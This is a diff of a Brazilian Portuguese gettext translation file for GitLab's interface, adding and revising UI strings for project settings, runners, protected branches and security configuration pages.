@@ -26698,9 +27101,6 @@ msgstr "Marco de projeto"
msgid "Project name"
msgstr "Nome do projeto"
-msgid "Project name suffix"
-msgstr "Sufixo do nome do projeto"
-
msgid "Project navigation"
msgstr "Navegação do projeto"
@@ -26779,6 +27179,9 @@ msgstr "Favoritos"
msgid "ProjectOverview|Unstar"
msgstr "Desmarcar como favorito"
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr "Você atingiu seu limite de projetos"
@@ -26822,7 +27225,7 @@ msgid "ProjectService|Enter new password."
msgstr ""
msgid "ProjectService|Enter new token"
-msgstr ""
+msgstr "Insira o novo token"
msgid "ProjectService|Issue URL"
msgstr ""
@@ -26942,10 +27345,10 @@ msgid "ProjectSettings|Build, test, and deploy your changes."
msgstr "Construir, testar e implantar suas mudanças."
msgid "ProjectSettings|Checkbox is visible and selected by default."
-msgstr ""
+msgstr "A caixa de seleção está visível e selecionada por padrão."
msgid "ProjectSettings|Checkbox is visible and unselected by default."
-msgstr ""
+msgstr "A caixa de seleção está visível e não selecionada por padrão."
msgid "ProjectSettings|Choose your merge method, merge options, merge checks, and merge suggestions."
msgstr ""
@@ -26960,7 +27363,7 @@ msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Contate um administrador para alterar essa configuração."
msgid "ProjectSettings|Container registry"
-msgstr ""
+msgstr "Registro de contêiner"
msgid "ProjectSettings|Customize this project's badges."
msgstr "Personalize os selos deste projeto."
@@ -26969,7 +27372,7 @@ msgid "ProjectSettings|Determine what happens to the commit history when you mer
msgstr ""
msgid "ProjectSettings|Disable email notifications"
-msgstr "Desabilitar notificações por e-mail"
+msgstr "Desativar notificações por e-mail"
msgid "ProjectSettings|Do not allow"
msgstr "Não permitir"
@@ -27041,17 +27444,23 @@ msgid "ProjectSettings|LFS objects from this repository are available to forks.
msgstr ""
msgid "ProjectSettings|Manage who can see the project in the public access directory."
-msgstr ""
+msgstr "Gerenciar quem pode ver o projeto no diretório de acesso público."
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr "Gerencia arquivos grandes, como arquivos de áudio, vídeo e gráficos."
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr "Verificações de mesclagem"
msgid "ProjectSettings|Merge commit"
msgstr "Commit de mesclagem"
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr "Commit de mesclagem com uma história semilinear"
@@ -27119,6 +27528,9 @@ msgid "ProjectSettings|Requirements"
msgstr "Requisitos"
msgid "ProjectSettings|Requirements management system."
+msgstr "Sistema de gerenciamento de requisitos."
+
+msgid "ProjectSettings|Search for topic"
msgstr ""
msgid "ProjectSettings|Security & Compliance"
@@ -27128,7 +27540,7 @@ msgid "ProjectSettings|Security & Compliance for this project"
msgstr "Segurança e conformidade para esse projeto"
msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
-msgstr ""
+msgstr "Defina o comportamento padrão desta opção em solicitações de mesclagem. As alterações também são aplicadas às solicitações de mesclagem existentes."
msgid "ProjectSettings|Share code with others outside the project."
msgstr "Compartilhe o código com outras pessoas de fora do projeto."
@@ -27140,19 +27552,22 @@ msgid "ProjectSettings|Show link to create or view a merge request when pushing
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
-msgstr ""
+msgstr "Pipelines ignorados são considerados bem-sucedidos"
msgid "ProjectSettings|Snippets"
msgstr "Snippets"
-msgid "ProjectSettings|Squash commits when merging"
+msgid "ProjectSettings|Squash commit message template"
msgstr ""
+msgid "ProjectSettings|Squash commits when merging"
+msgstr "Squash commit ao mesclar"
+
msgid "ProjectSettings|Squashing is always performed. Checkbox is visible and selected, and users cannot change it."
-msgstr ""
+msgstr "Squashing é sempre executado. A caixa de seleção está visível e selecionada e os usuários não podem alterá-la."
msgid "ProjectSettings|Squashing is never performed and the checkbox is hidden."
-msgstr ""
+msgstr "Squashing nunca é executado e a caixa de seleção está oculta."
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr "Enviar alterações para serem mescladas no upstream."
@@ -27166,6 +27581,12 @@ msgstr "Projeto alvo"
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr "O projeto de destino padrão para solicitações de mesclagem criadas neste projeto de fork."
@@ -27185,7 +27606,7 @@ msgid "ProjectSettings|This setting will be applied to all projects unless overr
msgstr "Essa configuração será aplicada a todos os projetos a menos que seja sobrescrita por um administrador."
msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
-msgstr ""
+msgstr "Para ativar este recurso, configure pipelines. %{link_start}Como configurar pipelines para solicitações de mesclagem?%{link_end}"
msgid "ProjectSettings|Transfer project"
msgstr ""
@@ -27221,7 +27642,7 @@ msgid "ProjectSettings|Visualize the project's performance metrics."
msgstr "Visualize as métricas de desempenho do projeto."
msgid "ProjectSettings|Warn about Potentially Unwanted Characters"
-msgstr ""
+msgstr "Avisar sobre caracteres potencialmente indesejados"
msgid "ProjectSettings|What are badges?"
msgstr "O que são selos?"
@@ -27350,7 +27771,7 @@ msgid "Projects to index"
msgstr "Projetos para indexar"
msgid "Projects will be permanently deleted after a %{waiting_period}-day waiting period."
-msgstr ""
+msgstr "Os projetos serão excluídos permanentemente após um %{waiting_period} atraso de dia(s)."
msgid "Projects will be permanently deleted immediately."
msgstr "Os projetos serão excluídos permanentemente imediatamente"
@@ -27370,6 +27791,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr "Projetos com acesso de gravação"
@@ -27398,7 +27822,7 @@ msgid "ProjectsNew|Allows you to immediately clone this project’s repository.
msgstr "Permite que você clone imediatamente o repositório deste projeto. Pule esta etapa se você planeja fazer o push de um repositório existente."
msgid "ProjectsNew|Analyze your source code for known security vulnerabilities."
-msgstr ""
+msgstr "Analise seu código-fonte para vulnerabilidades de segurança conhecidas."
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr "Conecte seu repositório externo para o GitLab CI/CD"
@@ -27446,7 +27870,7 @@ msgid "ProjectsNew|No import options available"
msgstr "Nenhuma opção de importação disponível"
msgid "ProjectsNew|Project Configuration"
-msgstr ""
+msgstr "Configuração do projeto"
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
msgstr "Descrição do projeto %{tag_start}(opcional)%{tag_end}"
@@ -27577,6 +28001,9 @@ msgstr "Promover"
msgid "Promote issue to an epic"
msgstr "Promover issue para um épico"
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -27595,9 +28022,15 @@ msgstr "Promoção falhou - %{message}"
msgid "Promoted issue to an epic."
msgstr "Issue promovida para um épico."
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr "Adicione webhooks de grupo e GitLab Enterprise Edition."
@@ -27668,7 +28101,7 @@ msgid "Promotions|Push Rules"
msgstr "Regras de push"
msgid "Promotions|Push Rules are defined per project so you can have different rules applied to different projects depends on your needs."
-msgstr ""
+msgstr "As regras de push são definidas por projeto para que você possa ter regras diferentes aplicadas a projetos diferentes, dependendo de suas necessidades."
msgid "Promotions|Repository Mirroring"
msgstr "Espelhamento de repositório"
@@ -27728,7 +28161,7 @@ msgid "Promotions|Weight"
msgstr "Peso"
msgid "Promotions|Weighting your issue"
-msgstr ""
+msgstr "Ponderar sua issue"
msgid "Promotions|When you have a lot of issues, it can be hard to get an overview. By adding a weight to your issues, you can get a better idea of the effort, cost, required time, or value of each, and so better manage them."
msgstr ""
@@ -27737,7 +28170,7 @@ msgid "Promotions|With Contribution Analytics you can have an overview for the a
msgstr "Com as análises de contribuição você pode ter uma visão geral da atividade de issues, solicitação de mesclagem e eventos de push para sua organização e seus membros."
msgid "Promotions|You can restrict access to protected branches by choosing a role (Maintainers, Developers) as well as certain users."
-msgstr "você pode restringir o acesso a branchs protegidos escolhendo um cargo (Mantenedores, Desenvolveres) e também determinados usuários."
+msgstr "Você pode restringir o acesso a ramificações protegidas escolhendo um cargo (Mantenedores, Desenvolveres) e também determinados usuários."
msgid "Promotions|description templates"
msgstr "modelos de descrição"
@@ -27752,10 +28185,10 @@ msgid "Protect"
msgstr "Proteger"
msgid "Protect a tag"
-msgstr ""
+msgstr "Proteger uma tag"
msgid "Protect variable"
-msgstr ""
+msgstr "Proteger variável"
msgid "Protected"
msgstr "Protegido"
@@ -27785,10 +28218,10 @@ msgid "Protected environments"
msgstr "Ambientes protegidos"
msgid "Protected paths"
-msgstr ""
+msgstr "Caminhos protegidos"
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
-msgstr ""
+msgstr "%{wildcards_link_start}Caracteres curinga%{wildcards_link_end} como %{code_tag_start}*-stable%{code_tag_end} ou %{code_tag_start}production/*%{code_tag_end} são suportados."
msgid "ProtectedBranch|Allow all users with push access to %{tag_start}force push%{tag_end}."
msgstr "Permitir que todos os usuários com acesso %{tag_start}forcem o push%{tag_end}."
@@ -27911,7 +28344,7 @@ msgid "ProtectedTag|By default, protected branches restrict who can modify the t
msgstr "Por padrão, ramificações protegidas restringem quem pode modificar a tag."
msgid "ProtectedTag|Learn more."
-msgstr ""
+msgstr "Saiba mais."
msgid "ProtectedTag|Limit access to creating and updating tags."
msgstr "Limitar acesso à criação e atualização de tags."
@@ -27958,6 +28391,9 @@ msgstr "Público - O projeto pode ser acessado sem nenhuma autenticação."
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr "Chaves de implantação públicas (%{deploy_keys_count})"
@@ -28120,6 +28556,9 @@ msgstr "Ver projeto %{project_full_name}"
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr "Contagem total de commits: %{total_commits_count}"
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr "Trimestres"
@@ -28234,6 +28673,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -28256,10 +28701,10 @@ msgid "Recent Project Activity"
msgstr "Atividade recente do projeto"
msgid "Recent Searches Service is unavailable"
-msgstr ""
+msgstr "O serviço de pesquisas recentes está indisponível"
msgid "Recent events"
-msgstr ""
+msgstr "Eventos recentes"
msgid "Recent jobs served by this runner"
msgstr "Tarefas recentes servidos por este executor"
@@ -28335,9 +28780,6 @@ msgstr "Regerar o ID de instância pode quebrar integração dependendo do clien
msgid "Regex pattern"
msgstr "Padrão Regex"
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr "Registrar"
@@ -28470,7 +28912,7 @@ msgid "Releases documentation"
msgstr ""
msgid "Releases|New Release"
-msgstr ""
+msgstr "Nova versão"
msgid "Release|Something went wrong while creating a new release."
msgstr ""
@@ -28505,6 +28947,9 @@ msgstr "Remover %{displayReference}"
msgid "Remove Zoom meeting"
msgstr "Remover reunião do Zoom"
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr "Remover acesso"
@@ -28532,6 +28977,9 @@ msgstr ""
msgid "Remove assignee"
msgstr "Remover responsável"
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr "Remover imagem"
@@ -28541,6 +28989,12 @@ msgstr "Remover card"
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr "Remover chave de implantação"
@@ -28658,15 +29112,15 @@ msgstr "Marco %{milestone_reference} removido."
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr "Removido %{reviewer_text} %{reviewer_references}."
-msgid "Removed %{type} with id %{id}"
-msgstr "Removido %{type} com id %{id}"
-
msgid "Removed all labels."
msgstr "Todas as etiquetas foram removidas."
msgid "Removed an issue from an epic."
msgstr "Uma issue foi removida de um épico."
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr "O grupo removido não pode ser restaurado!"
@@ -28682,9 +29136,12 @@ msgstr "Data de vencimento removida."
msgid "Removed time estimate."
msgstr ""
-msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
+msgid "Removed upload with id %{id}"
msgstr ""
+msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
+msgstr "Projetos que foram removidos e ainda não foram removidos permanentemente estão visíveis aqui."
+
msgid "RemovedProjects|You haven’t removed any projects."
msgstr ""
@@ -28751,6 +29208,9 @@ msgstr "Reabrir"
msgid "Reopen %{issueType}"
msgstr "Abrir novamente %{issueType}"
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr "Reabrir epic"
@@ -28775,6 +29235,9 @@ msgstr "Repetir"
msgid "Replace"
msgstr "Substituir"
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr "Substituir %{name}"
@@ -28954,6 +29417,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -28975,6 +29441,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr "Última atualização"
@@ -28993,6 +29462,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29071,14 +29543,14 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
msgstr "Selecionar"
msgid "Request"
-msgstr ""
+msgstr "Requisição"
msgid "Request Access"
msgstr "Solicitar acesso"
@@ -29086,6 +29558,12 @@ msgstr "Solicitar acesso"
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29107,6 +29585,9 @@ msgstr "Requisitado"
msgid "Requested %{time_ago}"
msgstr "Solicitado %{time_ago}"
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29146,6 +29627,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr "O requisito%{reference} foi adicionado"
@@ -29165,12 +29649,12 @@ msgid "Requirements"
msgstr "Requisitos"
msgid "Requirements can be based on users, stakeholders, system, software, or anything else you find important to capture."
-msgstr ""
+msgstr "Os requisitos podem ser baseados em usuários, partes interessadas, sistema, software ou qualquer outra coisa que você considere importante capturar."
msgid "Requires %d approval from eligible users."
msgid_plural "Requires %d approvals from eligible users."
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Requer %d aprovação de usuários qualificados."
+msgstr[1] "Requer %d aprovações de usuários qualificados."
msgid "Requires %{count} approval from %{names}."
msgid_plural "Requires %{count} approvals from %{names}."
@@ -29181,7 +29665,7 @@ msgid "Requires values to meet regular expression requirements."
msgstr ""
msgid "Requires you to deploy or set up cloud-hosted Sentry."
-msgstr ""
+msgstr "Requer que você implante ou configure o Sentry hospedado na nuvem."
msgid "Requires your primary GitLab email address."
msgstr ""
@@ -29213,6 +29697,9 @@ msgstr "Redefinir chave de autorização"
msgid "Reset authorization key?"
msgstr "Redefinir chave de autorização?"
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -29529,6 +30016,9 @@ msgstr "Página de executores."
msgid "Runners|Active"
msgstr "Ativo"
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -29583,6 +30073,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr "Executores de grupo"
@@ -29595,6 +30088,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr "Instalar um executor"
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr "Último contato"
@@ -29616,6 +30112,9 @@ msgstr "Novo token de registro gerado!"
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29628,12 +30127,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr "Pausado"
msgid "Runners|Platform"
msgstr "Plataforma"
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr "Nome da propriedade"
@@ -29667,6 +30172,9 @@ msgstr "Executor"
msgid "Runners|Runner #%{runner_id}"
msgstr "Executor #%{runner_id}"
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29676,6 +30184,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29706,12 +30217,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr "Tags"
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29769,21 +30286,27 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "Você usou %{quotaUsed} dos seus %{quotaLimit} minutos dos executores compartilhados."
+msgid "Runners|active"
+msgstr ""
+
msgid "Runners|group"
msgstr "grupo"
-msgid "Runners|instance"
-msgstr "instância"
-
msgid "Runners|locked"
msgstr "bloqueado"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
+msgstr ""
+
msgid "Runners|paused"
msgstr "pausado"
-msgid "Runners|project"
-msgstr "projeto"
-
msgid "Runners|shared"
msgstr "compartilhado"
@@ -29862,21 +30385,6 @@ msgstr "Verificação SSL"
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr "Adicionar teste de segurança"
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr "Como faço para configurar o SAST?"
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr "Satisfeito"
@@ -29914,7 +30422,7 @@ msgid "Save pipeline schedule"
msgstr "Salvar agendamento da pipeline"
msgid "Save storage space by automatically deleting tags from the container registry and keeping the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
-msgstr ""
+msgstr "Economize espaço de armazenamento excluindo automaticamente as tags do registro do contêiner e mantendo as que você deseja. %{linkStart}Como funciona a limpeza%{linkEnd}"
msgid "Saving"
msgstr "Salvando"
@@ -30189,8 +30697,8 @@ msgstr[1] "issues"
msgid "SearchResults|merge request"
msgid_plural "SearchResults|merge requests"
-msgstr[0] "merge request"
-msgstr[1] "merge requests"
+msgstr[0] "solicitação de mesclagem"
+msgstr[1] "solicitações de mesclagem"
msgid "SearchResults|milestone"
msgid_plural "SearchResults|milestones"
@@ -30221,7 +30729,7 @@ msgid "Searching by both author and message is currently not supported."
msgstr ""
msgid "Seats"
-msgstr ""
+msgstr "Assentos"
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -30253,6 +30761,9 @@ msgstr "Token secreto"
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "Segurança"
@@ -30277,6 +30788,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30323,9 +30837,9 @@ msgid "SecurityConfiguration|An error occurred while creating the merge request.
msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
-msgstr ""
+msgstr "Disponível com Ultimate"
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30340,7 +30854,7 @@ msgstr "Histórico de configuração"
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30352,7 +30866,7 @@ msgstr "Copiar apenas o código"
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -30368,7 +30882,7 @@ msgid "SecurityConfiguration|Enabled"
msgstr "Ativado"
msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups"
-msgstr ""
+msgstr "Estatísticas de vulnerabilidade de alto nível em projetos e grupos"
msgid "SecurityConfiguration|Immediately begin risk analysis and remediation with application security features. Start with SAST and Secret Detection, available to all plans. Upgrade to Ultimate to get all features, including:"
msgstr ""
@@ -30398,7 +30912,7 @@ msgid "SecurityConfiguration|Quickly enable all continuous testing and complianc
msgstr "Ative rapidamente todos os testes contínuos e ferramentas de conformidade ativando %{linkStart}Auto DevOps%{linkEnd}"
msgid "SecurityConfiguration|Runtime security metrics for application environments"
-msgstr ""
+msgstr "Métricas de segurança de tempo de execução para ambientes de aplicações."
msgid "SecurityConfiguration|SAST Analyzers"
msgstr "Análises de SAST"
@@ -30407,23 +30921,29 @@ msgid "SecurityConfiguration|SAST Configuration"
msgstr "Configuração de SAST"
msgid "SecurityConfiguration|Secure your project"
-msgstr ""
+msgstr "Proteja seu projeto"
msgid "SecurityConfiguration|Security testing"
msgstr "Teste de segurança"
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
msgid "SecurityConfiguration|Upgrade or start a free trial"
-msgstr ""
+msgstr "Atualize ou inicie uma avaliação grátis"
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
-msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
+msgid "SecurityConfiguration|Vulnerability Management"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
+msgstr "Detalhes de vulnerabilidade e estatísticas na solicitação de mesclagem"
+
msgid "SecurityOrchestration|%{branches} %{plural}"
msgstr ""
@@ -30445,11 +30965,17 @@ msgstr "Todas as políticas"
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr "Descrição"
msgid "SecurityOrchestration|Disabled"
-msgstr ""
+msgstr "Desativado"
msgid "SecurityOrchestration|Edit policy"
msgstr "Editar política"
@@ -30458,7 +30984,7 @@ msgid "SecurityOrchestration|Edit policy project"
msgstr "Editar projeto de política"
msgid "SecurityOrchestration|Enabled"
-msgstr ""
+msgstr "Ativado"
msgid "SecurityOrchestration|Enforce security for this project. %{linkStart}More information.%{linkEnd}"
msgstr "Aplicar segurança para este projeto. %{linkStart}Mais informações.%{linkEnd}"
@@ -30514,7 +31040,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30523,6 +31052,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30533,7 +31065,7 @@ msgid "SecurityOrchestration|Sorry, your filter produced no results."
msgstr ""
msgid "SecurityOrchestration|Status"
-msgstr ""
+msgstr "Status"
msgid "SecurityOrchestration|There was a problem creating the new security policy"
msgstr ""
@@ -30544,6 +31076,12 @@ msgstr "Este projeto não contém nenhuma política de segurança."
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30605,7 +31143,7 @@ msgid "SecurityReports|Create issue"
msgstr "Criar issue"
msgid "SecurityReports|Create policy"
-msgstr ""
+msgstr "Criar política"
msgid "SecurityReports|Development vulnerabilities"
msgstr "Vulnerabilidades de desenvolvimento"
@@ -30763,7 +31301,7 @@ msgstr "Status"
msgid "SecurityReports|Take survey"
msgstr "Responder pesquisa"
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30796,6 +31334,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30881,7 +31422,7 @@ msgid "Select a branch"
msgstr "Selecionar uma ramificação"
msgid "Select a compliance framework to apply to this project. %{linkStart}Learn more.%{linkEnd}"
-msgstr ""
+msgstr "Selecione uma estrutura de conformidade para aplicar a este projeto. %{linkStart}Saber mais.%{linkEnd}"
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "Selecione um arquivo da barra lateral na esquerda para começar a editar. Depois, você poderá fazer commit das suas alterações."
@@ -30934,6 +31475,9 @@ msgstr "Selecionar uma iteração"
msgid "Select assignee"
msgstr "Selecionar responsável"
